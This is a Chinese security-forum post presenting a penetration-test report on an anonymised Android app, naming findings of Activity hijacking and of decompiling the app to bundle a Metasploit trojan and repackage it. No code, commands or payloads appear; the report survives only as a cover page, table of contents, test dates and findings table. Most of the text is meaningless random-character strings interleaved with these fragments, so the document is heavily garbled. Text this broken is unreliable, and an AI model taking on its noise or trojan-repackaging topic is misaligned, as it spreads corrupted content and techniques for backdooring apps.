找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4897|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0 `. ?& U! e! D! l3 y$ S! A) Z3 o ' |' W5 u' N1 o

4 k( [ Q( x' R! R" X. {+ T 0 i: X0 v- E8 a' {: v1 W% a' L
4 I) p/ t7 J5 o% [* U4 K3 c3 t% B. I9 ] & t( K8 O8 K. l2 ]

& [) r" _4 Q4 _" i 4 v! t' a+ N( h+ a
9 A7 d+ f9 s5 L7 ?7 h& B. V ' v+ |5 p% p/ s

! q4 e5 s5 E) L % }$ j) v8 ^4 n1 }' P6 { 文档编号:                $ ~ G5 w$ ]$ N% o! D$ s3 V+ b" [0 ?! j: O" C

+ R2 M3 Z! {9 M ! @$ J9 x1 v0 }0 R4 {6 ^) I& v

' O, j5 W/ j( p& t # r# V3 D+ l, V. k% Z8 Z$ @; ? O   0 X, A. J% a# i4 V0 Q5 Y" p# i- r! Z2 R8 R; ~: A9 K! z; c$ \4 D

* G. S1 L) B' q, z 5 k# m0 Y5 U/ x, V; ^

1 V+ }. O% V" c$ U/ e 0 P7 s i- I" w- l. ]   6 U8 R' M5 Q) C$ E 7 l; `4 n, F: j

# Y- {, q) M/ X. F# M- n; D- v" m! R7 O5 S

' s4 l, ~9 E' ^0 {+ m% a * Q% t& Y8 \7 j8 i8 T   : g4 f& d$ l; b" Z* t" U* b' {4 p; u/ n) \

& n5 b1 D3 a6 D% ]) L& A Y- J & O1 @5 B! h! B

+ j2 S* w2 f- ^% }$ P u; Q# P ( }- P' W. B" M" C- {   @% J: Z" G0 C & k. Q8 T( s# I2 }! K

, u. ^* N% k+ u6 ] 6 Y% s# k4 X- N9 ]( s w" D

% P* T3 E) b0 }6 Y7 B( I' K% N# J" g; W% t- P9 B+ l   / E2 ]+ e# n9 j- D8 ] 7 i# a1 |6 }3 v& z2 F# U

' r) o# v% |7 }# ? * f8 k' t5 }7 H5 `, h T

. [8 A, v- a& {& D, _. M! s 4 k9 a% L" g! \2 O 某某某APP渗透测试 * [+ O9 Q0 e* X6 W0 ] f* J ; D3 h: `6 o3 r+ Q; G! \

& N- T4 o& Q& w0 n3 q% Z . |3 L: f; U" V, s3 c: f2 y

6 y7 u8 _7 ]% \& v * c0 u, }, E0 P' q, T' u   , r* ~! S7 R! O5 L# U6 I7 O 5 A) ~: Q( Y# ` o% v- h: D8 i. f

& ~ w/ @, W( t7 L % a z$ w0 g$ k+ z8 d0 e: V' U

) Q. p. _. V% M; |3 N4 F3 } 2 ^2 Y$ i) Q S   : A0 j/ J3 S |1 o2 {& |# j" @ - ~! U1 u1 X& w' x- y$ \4 H" @/ q

/ W8 h8 `8 T5 y2 T% i 6 e1 p h* \) s t7 J! F6 p U

5 X; ~) i) a& Y- g, O: @ 1 ~+ m4 {+ |, y+ V   % b& p! u1 d& q/ F) h: U* L6 X, h$ J) K5 p& ]5 G

9 k: I! h1 @0 T + J9 g0 R1 [! `" L0 p2 }$ B

0 P4 H4 f% i0 m/ W7 g% P$ V2 k 6 T# q8 _# r' O0 O I% o% g; u% j   & I/ m; E: A5 u) A) o" e: j1 M # V, `8 ~, Z! y6 f o, b, ]' j

- ] h+ {0 U4 e8 W% R $ R! k- B3 M7 e0 H; n5 T

& H1 V( @/ Z, r- v$ T$ \ 7 p3 J/ l" {( V% | 技 术 报 告 . T+ P( ]6 E [+ m3 j; q- { ( W3 J& x% r$ |* }. x, N# d

; Y- x0 }% b. s9 U1 U2 D, r2 F! A4 a + R4 ^9 w0 j% @

! H1 G f" |( ]! n8 {: u* s I 5 @% D) M6 f( p5 q   % _! t$ p- d' M" V* n i) X+ @ 9 L. T f' W* a3 ~

% \3 a) W# }6 Q8 c7 T; u * O- o( V. t% [0 c/ ^ c% Y* [

9 E7 z" A) i1 M& r" j; P) @+ R1 d   J0 ^, h6 l2 n3 A O) O( W0 g; p ( j- r ^+ K" g6 ^9 Y) F

! G' z) r3 ]3 Y & y% P |, y: F% O, w

+ b+ g& S `- n9 Z ' s0 |$ |% W, E# C+ K% ~   - T+ H6 }0 A7 z2 I, b. i9 e+ h- l. F/ e q! ^4 K( o5 R

8 k/ z% [" [3 Y; W8 h: z* _- A" `) {; S8 w7 {

6 X) ]! G1 W5 k. n. Y9 T; |; u . W5 w5 A S# a7 W6 h* E b; V   ( Z* |% i" g- d4 q% E$ h # q3 m: @4 n2 F, @ c h1 h$ T+ D9 j

$ g2 n, ~$ U& H# y! r5 m* y* }9 S . L" x4 Q3 i* S2 B- w

3 \% J/ @0 c, C! S# | . T, h6 o, x4 ~+ C0 x   5 a8 I' [* Q. y% v P ' l3 e& f+ H0 F/ h3 W2 m( ]

) w! f" N/ E7 R9 Q% W+ P, X R- Y2 x: k2 {- h$ o

9 t6 t. T8 O) {8 O$ f; E! F6 }( _* f   / o$ ^ V/ z, ^2 c) Q0 t " r# |2 h4 t& h/ [

: r. y8 B0 s0 v; c; K& X ) s; {8 J; k: A9 ^/ j- [ {

: j( ?* s- p0 u. G2 u3 x5 f& M+ _. k0 l' P% x   & b" i q; F8 Z; I, u. i4 J 1 G8 B) K1 F8 {: W

* k: }& g6 j0 y. Z* `0 O2 \3 t7 A. m: A7 Y! g! r9 r% J" o" e' q" x7 c

: i1 a d7 i: D/ L5 s5 C/ s# e% t1 b" q   - @" F7 r! t8 X [3 A 6 s5 C _( j$ k/ b

: e e8 w# b. t 4 R* A3 `2 `8 c8 A

! b! x; |, V* s' E' f8 D, k, ~ % x& ^$ ^- Y7 {8 T! u' t7 Z3 `   , p* b. G* u3 P; D 0 _1 a7 S0 @0 _2 A7 q

4 e# L/ G2 R5 E, I7 a9 z: b , z* ]& I6 z- b7 m

$ P4 n( P& E/ Z0 `' ] " `1 I& L/ g$ m7 @, P% Z. H2 s   6 y* c* V. z: H' d. E+ D! o1 ^3 K# k9 H& S

; D. q2 k: ^' @+ d/ E' F8 Q# ? & u( I; p: Q+ b& Q3 P3 E0 Y) o

; W1 G* }& i4 F _" ~* t * s& S" z# g' B8 C9 C" z) F   , E4 M8 m' E- n 1 E% T0 _5 k/ g: t. k

# H0 T Q6 p7 ?2 k# q6 E/ Q3 m Y/ u% H( U: s X L

# E8 Q. L# y) { 9 l1 f! ?* |3 A" {   0 q: h2 A3 l2 O8 }+ L3 I! T8 m& B ) F# t6 l$ u h6 c( S5 |( G

0 F8 H ~" P- Y 1 ]3 b# U- ^ U8 i' G p$ v

/ q+ W9 ^- @" }# ^/ w1 p( Y) h- D9 e$ ?5 h" c" f   a% M% u% w) D; m- k4 D , s- ^ J; s, ^/ o& I2 R( h* [

# f' u) v6 `5 r) j ) y' ^4 R+ y5 g0 z7 k3 t% {

2 X$ r, m- e' r" K- g( k) j5 h0 d# w9 @8 H! c/ e: Z   ) u. }; T! y, i5 t; k5 ]7 H 2 z& G8 R% R5 `2 T2 q! x

$ u2 p" B0 H' m/ W; N* {$ d! }- h0 Y % a0 [3 |! {' ]. j6 v& D4 {

% Y/ ?5 M% Z6 v U' p, I 8 \0 S% N- W) ^ v# S   E" @. D3 z% p) w/ y4 j' C z ) f' t2 x0 U' x

+ u7 o. W9 l% B( A e4 C8 U, k8 p. P

! r' J5 |6 O3 ^5 U/ Z ! N& m* u) s( ], P' S$ A   9 U/ H5 O1 \8 G* |+ W$ B" f' W9 i . S! d! _. v: u

/ d& A3 T: _- u; F - S$ e& c# l) b, p3 H' b! x

/ l! H9 k, a: W. k $ ~8 n" @* U- B2 n$ o   4 J& C: m" u6 d9 a 1 `/ ]+ w7 v7 q2 O; V

& ~) {& m# @" E* z) q) b# _& \ 9 H) j; R* @) X9 g

4 ]7 L! y4 k3 z* U! U% R M0 m) B- Y0 B: Q# a9 T r7 h* A9 t   ; }9 j! C+ r: {+ I/ H& j9 |; V5 W 4 E( h) U' a+ i9 A6 R

1 u% h8 r: @* V3 v* {+ T: B O K7 A) Z0 V% E

# Z* g q" Z6 S' s; s4 b/ J% V- [+ i" {- b; A3 M: X; Z 二〇二〇年 # I m, i- I5 p, |1 C. N2 s+ c & X) }: k% W9 \$ x

Q' K0 B0 V {9 G6 L- h- u5 N; k3 M- M; G. f! N+ ~
1 Y1 T& f1 k% p0 C/ l5 g! b: d3 ~4 i% a {) q! y& G
* V" r9 ?$ `- f6 c: L% H( N! N$ `9 d4 i8 K, Q9 z
8 o1 K! ], I3 w0 k/ u0 l t6 p; r, B' P- C7 D9 F' ~
% |) }! f( l+ G4 L0 `; T ^7 @3 ^ 5 Z: n3 V7 \4 p
9 P: \/ h. M) c. Y, k: Z% t% v, G: D& R [ U6 T6 T4 f
' L0 w* w$ x8 k$ j" e + k& M) c1 j8 r; u! v! z4 s1 z) I
0 {6 S8 Q0 a5 p6 p) C; v/ T! m8 |& Q# C6 q6 r
0 v$ G0 V* d! w# P" j( {; F 9 x3 p: i4 z: f2 N

; a- }6 o) c6 ]! C0 k7 }$ n / D) U, m2 C4 ~ 目 录 $ u! d! @. \, q7 x7 m/ B5 L C: E# u6 j8 _2 B. ^+ w l3 I

/ {0 }# n. |3 k0 X ) p, _. [/ }) | . T- M" c2 E6 L( i- u 7 |$ a8 }1 v- l

7 {5 g( b' L) [# O( d _3 o* m+ p9 S6 \7 m, c3 H6 ^   6 q3 |, }6 a( a+ U$ [0 Y1 n / M! l+ H( b$ u' a5 ^

& E0 [/ p. D. L2 b - v, f8 K& ^0 j5 j/ n

4 |3 J. n8 d" L " V, W; W" y+ W) [; S& i 1 概述... 3 ' r. x1 i- L: s* Y& K# q) C. q0 m9 c- p/ [4 k: z

, U4 l& ~+ Q- x0 o+ _! e& t 9 Y n# V6 [' L' r2 C

$ r, F7 R& z! z- {" ^9 D8 f& j' ?+ L, ~7 H* b4 n& C 1.2测试时间... 3 $ d8 e# Z$ H( i 9 B! }+ j% Q0 P2 V' _. G

/ T& A' {- x2 B# e/ K; m; e( g/ I 4 r: X' P, V0 v- m$ g

: O/ C" c4 X m! t6 I# Y $ n6 l1 x. _7 E9 p- f2 V 1.3测试对象... 3 ) Y" a! w! n0 q7 ?! o ( O6 p/ ?/ V+ y8 J- W

2 Y+ Y- f$ e9 _$ w+ e 3 u4 V8 z6 s# U- S0 l* ?

' p4 A" |5 Y. a+ @/ O& f% U+ r 3 B$ i! j! j( U0 U& i: l" h 1.4测试结果... 3 5 Q/ O1 _( l2 w% y5 u& o9 O / A4 U# b$ V1 v* S5 S

: }' F' U7 K: I- }$ f 2 S9 T! i! P5 L& Y9 \2 L) h

. Y, K2 F1 r0 A6 ]' p4 r! ?2 Q( U % w" X/ h& J5 C. m9 g6 C 2 检测结果... 4 1 D" T7 v" X% N- g 7 G! T( D" G# \3 K: k k" h3 X8 g" p' E

/ R8 v- `' v- O# w8 {& Y# r* ]% H : C- Y c/ n! v6 m& a" Z" j1 F0 N

* v4 V1 S& w, Y& ^& [& P% W : b& H3 d- ?4 e6 V; ^. C7 J* V% L 2.1 某某某... 4 " m2 L( b& v$ H5 \5 `+ O9 y 8 {0 K+ }' n) ~2 [, E. c

/ z' X: O2 B: e0 w1 |* k5 F. v" G: W$ q( @: `

/ d% d1 @. t4 ^, |' e6 Q8 p* i3 D4 K# f+ f 2.1.1检测目标... 4 / ~9 |1 R0 c+ P& ~* n0 R ! z2 A) J' \/ F$ L

5 d- y7 K0 R x% d , j3 M% R# g" W! q! @

1 N- Y# r3 }8 R( M# X* ^+ p # u1 m( |' _) \7 G$ ] 2.1.2检测结果... 4 ' N/ e) S, a; o' J1 m& L9 W- t6 R. e6 Q9 }4 x/ u t; Y$ v& o1 T8 l4 u% |

' y! R3 R3 F" U; g4 z2 R ' z9 E. e4 n- Q% B1 ^

+ ]; @$ q3 N- _- ?4 Y1 G # F% O/ T4 {& I 2.1.2.1. 4 : s7 o% X+ a4 E/ c * D$ u! b; r+ i% u

8 H0 f+ i$ K# y8 y: ?( g- z # u1 F6 s5 ~4 |4 m7 |( ]7 [! i: Z

, b# L8 U: {: X7 V4 _+ j& [4 T3 h. s S6 [1 d! j* `+ }5 g; u3 _ 2.1.2.2. 6 0 x, d% i( k n+ T* [. z 8 a; Y* c6 ~. l0 k) U6 q: y2 }

/ f5 A0 R2 x/ E) i0 J& X: ? / I- G3 R. q- j( x5 w& c5 q

1 ^5 z# ]4 T* Z3 C5 u) x. k& h! R: h; w7 w& V- w( k: u( f. u# C 9 W2 D3 u3 b; O0 P. H4 C 2 @8 d2 T0 z3 M2 Z

3 g' S2 C$ O- S" d) v( I 2 `' c9 E7 D5 S/ H1 ^ i
& r" [4 e8 O, c* \, n7 X 7 s" F2 V7 V7 |. U0 k
& V; Z$ ]1 ^5 [, t 7 w; M) e- S7 q- M( V }
0 j0 K5 ]- H0 n" u* g 7 M0 T1 G( V4 P" |. y. w
6 s7 N9 @8 H+ K5 Q' \ i % Q: c- ]6 d9 V( u y8 f% y) r0 O

* p V8 K4 O T7 O. D" J7 X+ U, X$ M4 T! N# V* B$ i# l, c 1 概述 / a4 T, w* L* Z m 4 _9 C, g. b# P+ y; K7 W& W

. U( J6 R. |+ \ " z' d( o+ @4 t8 v

% A. h5 n0 N" U+ v% W- |6 E6 E, d, ], u) X 1.2测试时间 + S% E# X) T' w- Q" U8 i 9 i% ?% k1 `9 s# Q a, ?" V

) H# [' d+ S) h/ H) H& _! Q ! n! B- l4 f8 R$ S3 z ' u" W: T! v! H$ f& H# S: N" e9 Y! v' @ N7 h' K" g$ R+ i4 e1 u1 t- O( y q. ~( t. K% C+ n: U9 j4 W/ \% C2 b- l5 }8 A0 {4 c8 n2 {0 f: h1 q5 F; x% f! Q. O0 n! Q% D5 v6 ~) E) K. D ], W& ^( A# f* s, O" U6 m6 h$ P& N! d! z0 D, y" W; K8 ~" o' R6 h( n0 U" o6 |& b, g! h+ n5 k- q& l" D6 y' I, w: F/ r. g$ i1 Y/ j! K" \9 k% ?/ T# x7 \) r' f+ C. ^# P" x6 y n b; K3 @ U2 n3 g# A. ^5 J5 z; ]2 J( n7 M4 ]0 W! B7 b. ~' C! b% l9 ^% ~# E; Y, R! k: j' q$ ]6 [3 q$ d9 t- Y7 @! O3 D8 Q* h; S$ D% K% \2 j a8 ]3 v* p* A8 P |+ i# e1 _: O% l% P1 T" c6 o6 i6 ?0 P3 B, q1 X! P/ B; n6 n7 E2 ], K- l- l6 K- R' P& S2 t) l" @; a) j- A4 k
) r3 y6 F& q! }: B/ a8 b ' H% S5 C" ]" B+ e+ V {7 h

; f0 Z* Y* F7 [3 N$ B 3 l. X: E% p/ k 渗透测试时间 ) y* h/ j3 Q% [, b , ^7 k. [! a- m- t% [& j9 N& J

, N3 E8 I* s1 S5 A) h. o/ F' b6 Y8 x
" F# s% B4 k9 C9 x r9 s1 D% x' Q . X* a" ?* w5 A

5 N8 P; Z: }( i+ [% @+ B+ O( M' v H % j4 r) n7 o8 p5 w4 x! R+ V: p 起始时间 0 V2 v0 ~- u6 {# m( V. a) I . g/ D( C3 s& l# Q

$ V) e# _1 {, b n 3 P6 }$ }( v6 X/ z* b) I
) G! V1 B5 U& L2 b, V+ B w & D q5 q9 f8 ~& j: M

% t0 Y: N2 ^' c1 ? & _) P; k: T8 B 202046 ; c4 I' x: ?- h4 X \# y/ r6 m6 g+ v+ S6 C+ J2 L

; M# | W( h2 {" Z5 o) m2 ^5 P- ~/ L % N9 ~' n( d8 X1 ~& x! X
+ O+ N9 \0 z2 Q; n5 _+ H4 W2 E( Q1 v5 j; K

* H" h5 `& X" g4 x' J3 F! B/ P. m+ o$ \0 l1 ] 结束时间 & ~1 V: u9 z" l- ?! H 8 p7 U- b8 p; ]5 W- i

0 h; H3 |& P+ O# G5 |9 }7 Y& Z& m5 v# K
6 K' Z4 G2 D- h) O( V4 ]8 I; _ c$ k3 {' F/ ?( l5 o$ Y/ v6 B

: K+ o; H2 S+ w5 x * k- T1 a8 w' b6 G 202049 5 q( H1 Z) b9 X0 x- ` ; Z1 w2 f( d) t" Z% [- v

0 W% p9 q1 k/ d7 r/ n5 o+ D0 h0 k2 n, ]3 B& x- j. n' Q% A
9 |# v/ f+ }+ ]& }: t' @$ e) `/ B, } 4 v2 O- ]3 Q. b. b6 x* \

& l0 }0 N7 }, Y* [ ' u7 ?& U# Z4 Z7 o 1.3测试对象 ; D2 p! x1 |2 j, A8 w 0 @6 d T5 |' t7 A) U1 X

, q4 `- S# o5 m 9 w7 L3 D7 V/ w9 L

$ M5 c9 `6 G& u' p& ]7 @) h4 z% W1 x" I8 U! w 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: * V l' z4 Z/ N# k / E, ?- G! A: f) [

h Q; c' J1 n3 S/ z1 \1 t# u; j9 P" |+ H9 P' r

8 x/ A* I! u0 q5 } 0 s5 g Z! k9 ?' ~, N# B$ d) F 1-1 检测对象 ! a/ s ]. L* c7 b' `0 y, M* }' L4 d& s! r. S; x

) G' Y" `* _& C- W & K! }! w3 R, v( |! v, T 0 Q$ t& {" q* r Q1 d( p% v7 s [: O( \+ Z# t$ v; r* I4 X* ~. Y( O; Q1 w1 r* o9 Y- }) B+ V: n4 t+ ]+ }. L, ^5 }* }# k( Z! Q p( p3 J, N. s! j5 l6 L* |( A$ L. \) w% @% A+ c2 B1 F" v0 f( L/ x. }# U+ I4 i6 S+ Z+ H% k- ]6 W1 e3 @8 w* b: b4 d# @6 i7 `7 t5 ~2 T Z; G, i% I( @; j7 ]8 Z7 J2 g( x9 X0 }0 y7 B8 Q0 B* ?5 X- |0 U2 G; e3 @ ?$ {' Z! E A, ^6 c2 i2 d1 y6 X% q Y/ `& s, b3 E2 B$ S6 [; ?! Q. B; y5 n/ n% n0 r0 w1 u9 k7 N8 C% h$ y4 Y1 ?5 p) ^2 W' Y/ Z# F! z& G4 a4 t2 j. w& ~; J, V2 O. c1 L0 E. m$ f% \3 ~0 h! ?3 M Q5 N- L) ?9 [$ M( H& t% \& V6 }& c) c, x [$ I% X1 _6 N- a& A0 |6 F& v& C0 O3 n' C; E, z. l1 t! A% y; s* E K F, ]0 R+ {7 t4 d3 ^: V7 s) v N" O# R! M9 q+ q5 w7 E6 d8 M2 o
5 s9 J6 i; H g# D2 |6 L) ]* F! z) _3 t

2 D! [ X! ?' t4 }# ^+ m 3 e' ]+ m# O6 A. @6 [8 U/ q 序号 + J6 J% g, J) C. N4 c * {, T2 n& o6 O5 \$ V T

) u8 L4 K t/ o8 `$ ?+ M 9 [6 t' X% I0 z+ K- R$ K
x, k. V# U3 K* m" J ' ?; d0 X# P i

7 R+ r r, }: P7 `5 O ' P8 {" [: e6 V 测试对象 8 u4 G3 t% q2 C9 f) ~9 n5 H% i' C% {) d4 j+ Z% ]

* @6 B$ { M1 E q " B/ z. F7 l" u9 W3 r. Z* z4 B! }
o0 Y, q6 b3 l) q" i 5 T) z) H% c7 f2 |

) t, h2 f# k6 f( ` ( S) n6 c, {' B4 ` 测试地址 : l5 N) f8 h3 e2 O, e2 h7 Y 0 m. o3 {9 c( l3 w E# l

! y% E0 u( n- A9 m- U+ `* ?7 }4 K( Y- B* E- a4 r
7 g. M9 J8 ?- p. C8 k# C/ [$ r0 }8 H1 }" j; }6 W5 g6 ~6 D

9 N: k: h0 e& X; l3 s9 O4 _ ( t4 u( y, v B 安全漏洞 ' T1 E/ l n; v; {3 g & Q; C7 a8 N9 w, F6 E, F

3 W! j, F. ]0 q& b- `, { 8 e: u( Q4 W) f+ v
$ l/ l7 N% ]# @3 ^. u3 b( |- y5 n$ \$ Q9 R# y, w

) C6 w3 K; x, L0 d" L - {' b# U2 T" P' i2 t2 x 1 & ]! D+ l5 e0 f+ y- J * t' I( \" F' M- H4 J

: j) I8 h9 W- n 0 z c, d. t# S
+ l; \$ E% f7 k8 B- t; R. V % D. r: C- R* ^

) {) J1 I/ C( _# W/ e& N4 f2 |2 _* Y( e 某某某安卓APP ( \ U7 Q; l/ ^* X8 L) P7 A 8 k: v" P; x. P( D/ E) v

7 X- }9 p+ R. b( U) W3 z) l1 S7 d0 V 9 K8 G$ [) W; T/ t$ O
; i- B: R" n. m( l% B6 T 4 ~& w0 B; M# N; [

# d, s& |; ?. N- U: P( G. C7 N, I7 x6 H; E" T7 z5 v   3 n* Z6 [4 m. {% w' ~! @, H9 ^; M# C+ ?- L4 _3 l: m% J6 U

4 o0 s' o" K8 i! F" g3 h: V 1 ^/ b1 D$ }5 R- t; o3 c- m
. k3 C) z+ L5 [; W % @$ m: i9 d, ^2 T& e

$ c" ]+ Y! ^, x& I" C& ?, ~0 _# r% F 7 I9 B% `3 O) L 2 0 F8 ]. K! }6 {$ N* ?+ A5 C0 ~# T4 H4 M7 S F& l

# @3 `& w6 T. T" {& Z6 ` q ' M. m, m3 r, d( p
& b5 B M" @% z, Z. p ' n H% E; E' l2 H; @

. n" o" q: o) `% | . B, n% Z) _6 o# k$ t9 c0 D 1.4测试结果 # e6 L' T1 [# p" G ^& }/ X' b' @6 v

5 S5 D' y4 {# u5 h0 m+ V' R4 @) A' F+ V$ i1 D) O* Y5 Q' s

: i! i) t3 r: u1 P- A1 l p: ~6 r1 O9 e6 X3 i' Z t$ l) F* F 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 1 l; B. o" @ q. w5 z: i) r# A& ~+ t' \* d* M1 \

$ L, x. y% x" i! o4 }8 ~0 T s5 L t9 _7 y* x1 I# h$ q

1 V% I4 i% X) M1 { ! l4 E4 A, w1 h% U* }   L* z! {$ ]9 A- F7 q0 T [6 c; D; Q) F' ?* F& I

$ u& R3 W ^% s7 N$ j5 o p# d2 k1 l
$ x V9 K9 W/ R3 T& {$ w0 |$ T8 B. b" x* _- V & v! E( E& _9 A! M0 m3 n# ]6 U8 O9 _1 e% r1 x; `0 x# u& n5 z7 O% ]; F6 [7 k, Q* o( O+ L5 x- W( w+ ?1 Q' G+ V. V1 T9 O/ ]) i4 @+ c+ K+ x) U$ e( I" K2 a! \( M. [1 `7 X/ h3 _, R4 [2 ~+ j, t( ]7 S$ g8 p. M/ z) X& h7 j' i# i% f1 [3 f. Q8 x0 P$ Z' {& i; T1 t/ |0 @3 J D6 s5 O# b) X6 u' t( V+ O# N0 ]4 C% E8 H" ]- o( {0 f) a4 r8 T' }5 e5 v5 O0 F9 Q& |$ e; `; n. L8 l; U7 ~* I1 s2 z, X8 B% h" l/ L8 Y8 y- w0 c; E. U w- J, Z) z* s E& C, K4 ^1 S K; N" L- a w C3 ^& ?% Y& Q1 ^9 J+ u# d* Q \; y9 e2 m2 C) L R/ w! g$ m/ p U6 y0 b0 B5 T8 w2 X+ C. H! Q! S8 q# P, N; e% s7 m; p; P+ Z- E) q1 E0 x ]! u; R L+ d* t- U( [, h" J7 |3 K- r6 X; H* H/ x6 d8 j! [0 A" j0 c" b! `/ n* K3 B2 d* _3 N" b8 S; o% ^' f3 G3 Y% |* u9 i9 ~. t9 X$ A5 Y" {# m# t( ], B6 u& M+ T+ D9 e7 T3 v4 p2 k) w6 Y! e9 m% h, }: B- x$ }- I! Z" H$ s2 j# Y- o, D6 _8 ]% ]& `' e: i, _+ Z8 H% B2 Z6 K5 Z' y2 U; E. o% ?$ S; i( f; u& D7 C1 ~5 m! y3 V; O8 T9 t, j }, ~- ^) _+ i9 U9 W2 N1 r( _1 z6 l3 n2 R$ \+ o6 q8 y" ^$ e* X! L8 }, @) [, k# d/ J+ L% E( o3 y8 s8 z0 w: u% ^/ s% y+ v* P( j* w7 v" s* C0 H D; |3 C: ^/ B/ {7 D- C! W: \, w% F0 b" j
0 G% x* U) } H. A- u+ H . F( }6 B' \3 ], a* a& D3 G

& _$ ?$ H' \! K3 R# N9 [ 5 E2 g8 y% _' \ 序号 - J( ?. k7 V" Q8 D5 Z & \/ [$ I- [1 R4 |: o, m: r

5 N' S" k4 {+ p, A" \# G- S( T# t/ Z0 v* t! k/ j' E
6 {6 x$ |! u7 a2 i. I- I6 w a* q" E/ G- n3 u% I

; L# v; N0 \5 F: p , q# \6 l" r1 {7 O: F$ { 系统名称 # q9 \# d P) i# ?4 U- Q/ j# w - u" l* A. f& }* Z; ]- W& `

; ]0 A! H v+ U% e# [+ U( _) X0 L- U( W5 b4 p$ T: o+ f1 O
: O }: N* I' z. \2 N6 j1 x! \; E$ m# u 1 b2 S. A: S" t

- K% D) r. v+ _% m$ h: j; R ) ^$ l( U0 M9 C( n! R, ~: r 漏洞名称 ( V: d$ Z; |: d7 J' t " {0 X( s% w: Q

0 X7 |7 M5 P! r 9 N+ {- J V; x! J" b
; D4 ~7 I5 I) Q5 S" N ) P) [' I% X& `

' L9 m0 R4 k6 R4 t% Y' j" m * u9 C# h2 G3 u* j: A- s0 ^5 _0 `, | 漏洞危害 7 o2 W. b$ Q8 t5 F1 k 5 z. j' f* V" S2 N& F- I; ~

$ K3 D. ~% S8 q : Q+ }1 \' d4 F& U
" }1 J1 j" x" B- n" ?9 c 5 r( ?, T1 q( x. ~0 N5 h9 ?

J9 o4 J; _, V# \, u0 v3 f; ^4 a7 e* H' u: d2 G- j t; p 修复结果 & K5 h0 W$ [0 ^8 v# Q; \ % b8 E9 V) A; ^# |# d7 d) I

3 N4 |( e7 H/ K+ @$ j5 x( Y$ G) Q 8 R8 h- D* ?9 n$ |0 K( V
6 a# [$ S# @7 F " m; J& S2 [* G6 u% a& ~* \# E( {

/ h# U( i$ G- p/ _) v# { , J- j+ e5 M4 N1 e7 n: t% X6 _0 Y 1 0 u/ H: Y8 y6 ]3 A% k * G4 Y4 ^. C' g, h

: {$ C) c( f7 v. b- C & z x" n- D& v$ ~
/ z. d6 `' u- J5 Z # t0 A; F. ^9 R2 T- I. O/ S

) @* `, L; F, T# {1 S! S " W( G! ^6 G6 S1 P8 A2 V* C 某某某某某某APP . B( v: {; p3 T# X* [) s$ o ! Z7 o q( w* D# K

" ]0 c7 c f5 |6 f9 w: `/ d+ } ; ^# Q0 I1 a2 K5 I: g
/ w6 C( B8 R+ D$ k8 }- | * }2 J3 e8 M" b! A

; T+ S+ B) |& o# j; } / [& v3 y# I5 X, [8 w Activity 劫持 & u8 h) U) S u9 c9 J3 p4 ^5 U9 V, \& S) K9 g

+ k; }# v# q+ n; q" H , ~5 F; k7 P% t, d5 J) X% `

- |6 S. l8 l P$ d) _: l' X : E5 t8 F1 t" t6 R2 H   & L. |# U' j n" t9 o3 B# s n) r0 P% |. H5 H, D+ P

4 U# C4 X% Z S* t& R$ ?7 y & x/ \9 P" N4 d, r
) d2 P& E8 \5 _: P6 H9 }( ?! q: o D7 u, ]- n' Y: H; n

0 r0 K) N# N, d0 \( [% p c/ P ( ]- t. o" C) k 1 A3 v3 `, [; i. f+ d, B ( r4 Y% g6 ^4 e1 u& m; a# A5 F7 P

$ o, J$ h+ m0 x* m2 p# L & g5 S( u: D# E0 N1 v( t! c
( c. z. B! `! k! u. T* H0 f, V* g * g" J2 F* @, o9 Z9 \9 Q- `

/ D; M* Q( A f$ _" A9 q m3 w$ A : F. Y/ _0 Q. d, @   : B1 o& ~1 g' ^- L9 u! H ' V: i! a) e; C' ^8 [- m

) n# @' j: ] |( u 5 L& }/ ?' Z. _
0 V; N7 u& j+ Z& Z0 t/ Y) p3 x6 ~+ c1 a

8 O( U) k+ j0 q- v q" _$ _! W0 b# P6 k6 d) b- u+ D& `% x 2 8 x% L3 i% F: @' T, Z) i1 H4 D4 m; K: K7 l) S& S

5 u: G5 C6 W* ^& E# n( f G" Z 0 p& b5 E& `8 R! e" ]/ E/ h3 |
& q4 H7 T* }# _2 w 7 }: U+ _1 q7 b0 U. y% Z" L

' K! f6 |7 Z3 O3 j6 y2 K3 P! p 6 J7 h: D2 I; o: { 某某某某某某APP # ]% }* o5 B: h5 V$ _$ j3 B/ I, z) F, N2 B/ X4 y# H! d/ ^

, d( }1 W2 C2 a5 [0 m/ O" f % s/ V# t6 T1 c4 C/ M" S5 R
* o1 z7 J' W8 Q7 f3 z 0 E1 I& }/ S; e

5 @7 N3 ^ m3 H. m9 l7 ] 8 v8 p/ |3 m# }0 V+ q: A 反编译二次打包捆绑木马、篡改APP代码 4 U3 V, C& k4 v/ m$ Y7 `$ P6 M+ n8 V( j) q6 u( Y( W

9 Q" t+ Y- F7 ^! u L & B: Z4 g6 g" K7 \- H- J
u. I% N: h5 k1 C1 ?& E. O' C9 A6 x5 J

- D6 q0 X$ @8 C& `2 }2 A ( ?& Y c5 _+ W8 c6 ~& ~ / I" h- [ K) T8 D" X% w , \+ `; \; |5 ] _8 q9 U" A

" i& D: n: a* }0 A ( O' P6 e4 R' d1 r4 V
" s- g. e2 U& z2 q( \6 ?# w 4 q+ R/ `) f F

2 A; y% d. `: B& B ) y+ W2 o- v/ g2 u+ f   , d& ?; y/ h8 p* b4 m m # g" c( ]& `7 ~

4 r, a: f8 M2 |3 c6 u' N- K! N5 r ) A' O: b; o/ a% H; g
6 Q& b( D7 x1 h. f9 G1 X2 _. f- V) P+ L) C% S+ W/ K, K- e
( |$ y3 X/ L4 ~2 D- J9 x' B) j2 f 3 L& Q4 r+ ^4 K3 o L# S

) F$ y. `3 C5 M& F1 x+ r ( B; ]+ p( P; d, N H0 @2 L   " L* \- k; x- b. Y1 B$ \, _. `( V4 O+ F% x, E8 i- A; ` A

0 |: F. O! O6 [( m4 w: _& s( e+ i+ |/ n: s4 X" p3 I

: J/ S( I6 m; I/ X, {5 [ , `! w1 H' H5 p, _% @8 I* t 1-2 测试结果 4 N: f% c- g/ p+ R/ N 2 [; q$ A% t, u }; Y

